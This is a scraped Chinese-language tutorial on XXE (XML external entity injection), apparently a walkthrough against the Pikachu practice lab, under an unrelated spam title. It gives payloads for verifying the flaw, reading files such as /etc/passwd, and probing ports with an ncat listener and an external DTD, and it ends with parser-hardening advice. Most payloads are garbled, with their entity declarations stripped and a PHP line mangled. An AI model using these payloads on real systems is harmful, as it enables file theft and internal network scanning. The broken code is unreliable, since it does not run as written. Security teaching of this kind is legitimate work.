南通公司建站模板百度號(hào)碼認(rèn)證申訴平臺(tái)
文章目錄
- 一、漏洞原理
- 二、驗(yàn)證payload
- 三、沒有回顯時(shí)的驗(yàn)證
- 四、漏洞特征
- 五、讀取文件
- 六、Base64加密讀取
- 七、端口檢測
- 八、使用php檢測端口
- 九、dtd外部實(shí)體讀取文件
- 十、Xxe漏洞防御
一、漏洞原理
(1)XXE漏洞全稱XML External Entity Injection,即xmI外部實(shí)體注入漏洞, XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時(shí),沒有禁止外部實(shí)體的加載,導(dǎo)致可加載惡意外部文件,造成文件讀取、命令執(zhí)行、內(nèi)網(wǎng)端口掃描、攻擊內(nèi)網(wǎng)網(wǎng)站、發(fā)起dos攻擊等危害,XML(也是一種語言)被設(shè)計(jì)用來傳輸和存儲(chǔ)數(shù)據(jù)
(2)也就是說服務(wù)端接收和解析了來自用戶端的xml數(shù)據(jù),而又沒有做嚴(yán)格的安全控制,從而導(dǎo)致漏洞
實(shí)驗(yàn)環(huán)境:windows pikachu xxe漏洞
二、驗(yàn)證payload
<?xml version = "1.0"?>]>
&hacker;
三、沒有回顯時(shí)的驗(yàn)證
<?xml version = "1.0"?>]>
&xxe;
四、漏洞特征
Accept里有application/xml的格式
五、讀取文件
<?xml version = "1.0"?> ]> &f;六、Base64加密讀取
<?xml version = "1.0"?> ]> &f;
或則讀取linux的/etc/passwd
<?xml version = "1.0"?> ]> &f;七、端口檢測
ncat -lvp 4000(端口可自定義)
使用以下語句嘗試是否能夠建立連接
<!ENTITY xxe SYSTEM "http://192.168.198.2:4000/">
]>&xxe;
如果能夠建立連接,那么服務(wù)器端的ncat會(huì)收到相應(yīng)的請(qǐng)求信息。
八、使用php檢測端口
<?php $xml=<<]>
&xxe;
EOF;
d a t a = s i m p l e x m l l o a d s t r i n g ( data=simplexml_load_string( data=simplexmll?oads?tring(xml);
print_r($data);
?>
端口關(guān)閉的情況如下
開啟時(shí)
九、dtd外部實(shí)體讀取文件
<?xml version="1.0"?><!DOCTYPE note[<!ENTITY % d SYSTEM "http://127.0.0.1/note.dtd">%d;]>
&eviltest;
十、Xxe漏洞防御
1、使用開發(fā)語言提供的禁用外部實(shí)體的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))